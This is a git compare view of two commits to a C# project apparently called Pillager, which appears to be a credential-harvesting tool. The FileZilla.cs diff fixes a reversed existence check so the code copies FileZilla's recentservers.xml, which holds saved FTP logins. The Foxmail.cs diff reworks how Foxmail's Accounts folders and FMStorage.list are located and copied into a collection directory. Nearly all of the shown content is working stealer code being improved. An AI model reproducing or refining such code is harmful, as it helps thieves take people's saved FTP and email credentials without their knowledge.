Compare commits

...

2 Commits

Author SHA1 Message Date
簞純 dff4075632 Update Foxmail.cs 2023-12-29 02:23:31 +08:00
簞純 d41cca2305 Update FileZilla.cs 2023-12-28 23:58:25 +08:00
2 changed files with 5 additions and 15 deletions

View File

@ -15,7 +15,7 @@ namespace Pillager.FTP
try
{
string xmlpath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @"FileZilla\recentservers.xml");
if (!File.Exists(xmlpath))
if (File.Exists(xmlpath))
{
string savepath = Path.Combine(path, FTPName);
Directory.CreateDirectory(savepath);

View File

@ -26,23 +26,13 @@ namespace Pillager.Mails
try
{
string installpath = GetInstallPath();
if (!Directory.Exists(installpath)||!Directory.Exists(Path.Combine(installpath, "Storage"))) return;
if (!Directory.Exists(installpath) || !Directory.Exists(Path.Combine(installpath, "Storage"))) return;
string savepath = Path.Combine(path, MailName);
Directory.CreateDirectory(savepath);
foreach (var directory in Directory.GetDirectories(Path.Combine(installpath, "Storage")))
DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(installpath, "Storage"));
foreach (var directory in directoryInfo.GetDirectories("Accounts", SearchOption.AllDirectories))
{
Methods.CopyDirectory(directory, Path.Combine(savepath, Path.GetFileName(directory)), true);
foreach (var item in Directory.GetDirectories(Path.Combine(savepath, Path.GetFileName(directory))))
{
if (!item.EndsWith("Accounts"))
{
Directory.Delete(item,true);
}
}
foreach (var item in Directory.GetFiles(Path.Combine(savepath, Path.GetFileName(directory))))
{
File.Delete(item);
}
Methods.CopyDirectory(directory.FullName, Path.Combine(savepath, Path.GetFileName(Path.GetDirectoryName(directory.FullName)) + "\\Accounts"), true);
}
if (File.Exists(Path.Combine(installpath, "FMStorage.list"))) File.Copy(Path.Combine(installpath, "FMStorage.list"), Path.Combine(savepath, "FMStorage.list"));
}